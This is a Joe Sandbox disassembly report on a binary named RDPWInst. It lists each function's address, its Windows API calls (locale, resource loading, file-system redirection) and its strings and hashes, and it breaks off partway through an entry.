Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction ID: 0f9472f532bfb6d97ff063cc401fba787666d5dde08e68930300e7878c0b733c
Opcode Fuzzy Hash: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction Fuzzy Hash: 0831E871F006086BDB04DA55D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 00412D04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

|\D, xrefs: 00412DD2
0\D, xrefs: 00412D61
`\D, xrefs: 00412DAD

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction ID: e329392f02449b06687ba54e558461cdf4d213220e6431f4601da2913400d418
Opcode Fuzzy Hash: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction Fuzzy Hash: A631E871F006086BDB04DA45D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 004114A4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

yyyy, xrefs: 00411507
, xrefs: 004114F8

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: $yyyy
API String ID: 3303714858-404527807
Opcode ID: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction ID: 4e3523b49621e94f0abc5fe99f3e528012799777c4c12a7b6b737367db96c017
Opcode Fuzzy Hash: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction Fuzzy Hash: 8F219531A00118ABD710EF55C941AEEB3FAEF48300F514077F905E72A1D6389E40C7A9

Function 0043C45C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Strings

%ProgramFiles%, xrefs: 0043C4C1
$sD, xrefs: 0043C473, 0043C4E8, 0043C524, 0043C4C6, 0043C4D4
%ProgramW6432%, xrefs: 0043C4BC

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: $sD$%ProgramFiles%$%ProgramW6432%
API String ID: 237503144-3145546840
Opcode ID: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction ID: dfc59d650baf98a512f6366ea296a42dbe4730e7440a0cbc8b484aecff229b80
Opcode Fuzzy Hash: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction Fuzzy Hash: 411184B0604168ABD714EB65CD92A9DB7B9DB48304F5140BBA205F3292DB38EE558B1C

Function 0040AEAC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEC0
LoadResource.KERNEL32(00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AED7
LockResource.KERNEL32(00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEE8

Part of subcall function 00415A68: GetLastError.KERNEL32(0040AEF9,00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 00415A68

Strings

CHARTABLE, xrefs: 0040AEB5

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$ErrorFindLastLoadLock
String ID: CHARTABLE
API String ID: 1074440638-2668339182
Opcode ID: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction ID: 0ebed5ed6e5dda7701dd75a560580c35c1b3b1e5272f816bd12d169416f3b400
Opcode Fuzzy Hash: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction Fuzzy Hash: 4E0180B87803018FC718EF59D8D1A9A73E9AB99320709453EE241577A1CF3C9C40DB59

Function 00419584 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 00419633
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0041964F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004196C6
VariantClear.OLEAUT32(?), ref: 004196EF

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction ID: d3a60771d8c98d42dda0da8010ad17e71a6e6e293320ab5b6f42a6f3f22a61d9
Opcode Fuzzy Hash: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction Fuzzy Hash: F7410D75A0061D9FCB61DF59CC90BD9B3FCAB48314F0055DAE549A7212DA38AFC18F64

Function 0041325C Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction ID: 83055b0679be0c1ffa726a7bf1997f9f19e1454b2f4a6b728642dd338ff24854
Opcode Fuzzy Hash: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction Fuzzy Hash: 80412070A003589FDB20EF59CC81BCAB7B9AB49304F0040FAE508E7251DB7A9E94CF59

Function 00408B08 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 00408B19
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 00408B7B
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 00408BD8
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 00408C0B

Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,00408B89), ref: 00408ADB
Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,00408B89), ref: 00408AF8

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction ID: ba3eb85df9a642da38a4383696d7f270617e705f6d5ccbab9dd9f20305666083
Opcode Fuzzy Hash: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction Fuzzy Hash: 5A317C70A1021A9BDB00DFE9C885AAEB3B5FF44304F00457AE991E72D1DB78AE44CB58

Function 0042FB48 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000,?,0043CEE1), ref: 0042FB5F
LoadResource.KERNEL32(00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000), ref: 0042FB79
SizeofResource.KERNEL32(00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8), ref: 0042FB93
LockResource.KERNEL32(0042F774,00000000,00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000), ref: 0042FB9D

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction ID: 2319d0df2cd87803d0a75df5626f4cddb48e3135002f19a9a4d545a6677a7621
Opcode Fuzzy Hash: 6ebdd4f1cd543b76a016c77fc1286a410c61f79913e5f64509fe1404532659ad
Instruction Fuzzy Hash: 49F06DB37012146F9745EEADA881D6B77FDEE88264390017FFA08D7202DA38ED154379

Function 0040A0E6 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00449C1C), ref: 0040A0F8
lstrcmpiA.KERNEL32(?,?), ref: 0040A10E
LeaveCriticalSection.KERNEL32(00449C1C,00449C1C), ref: 0040A143

Strings

YD, xrefs: 0040A0EE

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavelstrcmpi
String ID: YD
API String ID: 2420758022-4277794568
Opcode ID: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction ID: abf7b61c1320a37f19f23f54b7b1c16b8e1f28cb69a34480c51c1f01e8ca554a
Opcode Fuzzy Hash: 0b44f2d380ec5fe545f4f2e3965f64519b1ec05f6d6c381fa1d4a9968702bb33
Instruction Fuzzy Hash: 8AF062322003145BEF106A619CC2B1677989F15714F100037FB007F2C3D6BC9C60466F

Function 004059C6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405A9A

Strings

$$@, xrefs: 00405AF6

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction ID: fff674c7101e68f6d73d2d8a69124ddc370c84ad249f2bdacb9cff7d7fa155c1
Opcode Fuzzy Hash: ffbabee0d71fd2b7d8fc05915f2ca3a30f23b11c7e3ffcedbc7f052df7b7c5c2
Instruction Fuzzy Hash: 1C418C75304A019FD720DB14D884B2BB7A5EB89314F69867AF444AB392C738EC41CF69

Function 0040589A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 00405906
UnhandledExceptionFilter.KERNEL32(?,?,?,Function_0000589C), ref: 00405943

Strings

$$@, xrefs: 0040596E

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: $$@
API String ID: 3192549508-1194432280
Opcode ID: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction ID: 4b325d1a8302ad8f82e944498d23502563e7d009f61a8d4e6d3783212fd5e4e2
Opcode Fuzzy Hash: 23fdc1c80813b7a19c68f0c79cc3fa5e3fa91e7525bef4bca6a264e8681dbcfb
Instruction Fuzzy Hash: 533141B4604700EFD720DB10D888B6BBBA9EB84724F54857AF448A7291C738EC40CF69

Function 00411498 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

, xrefs: 004114F8

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID:
API String ID: 3303714858-3916222277
Opcode ID: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction ID: da40258a30b1bf54e866a7fbbaf5cc9082ba5d6ba5cf06b5a9e2a769468a01f6
Opcode Fuzzy Hash: 0d5b63d8b5d64c377b747a6270c18780734cafdd64312a6cbce0b29c00a6c7cf
Instruction Fuzzy Hash: 2C21BB31A04254AFC711DF64C8556EA77B5EF49300F4140A7FD45E72A1D6389E50C7AA

Function 004150E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 00415102
GetSystemMetrics.USER32(0000004A), ref: 00415153

Strings

p[D, xrefs: 0041512D

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleMetricsSystemThread
String ID: p[D
API String ID: 3035471613-2202972244
Opcode ID: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction ID: 0794bcb2409efff6a4af82a72d6dc306925be2e2831a755ee0de451743422fb7
Opcode Fuzzy Hash: da98f0b9cf3a04fcb2a289a8677121395d8df8e9f207d3304538472cbe0e1366
Instruction Fuzzy Hash: 4A010430A00650EADB129E6658813D27BD49B82315F48C0BBED489F387D63CD881C77A

Function 0043A688 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443D31,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A693

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 0043A68E
Wow64DisableWow64FsRedirection, xrefs: 0043A69E

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 1646373207-3689287502
Opcode ID: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction ID: 7cbe884eb00d1b8f8e0b90a93abb1152f64afda344a6e4615680911855581588
Opcode Fuzzy Hash: 3a9063c87b9bf03a8dd6229c9438aece060355b6351e033b19066e162e83d57d
Instruction Fuzzy Hash: D4E012513883C21AD61276FA1DD2B2E26CC4B6D709F2C287FB5C0D1193D99DC468863F

Function 0043A724 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00447324,00443E55,000001F4,000001F4,000003E8,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043A72F

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 0043A72A
Wow64RevertWow64FsRedirection, xrefs: 0043A73A

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
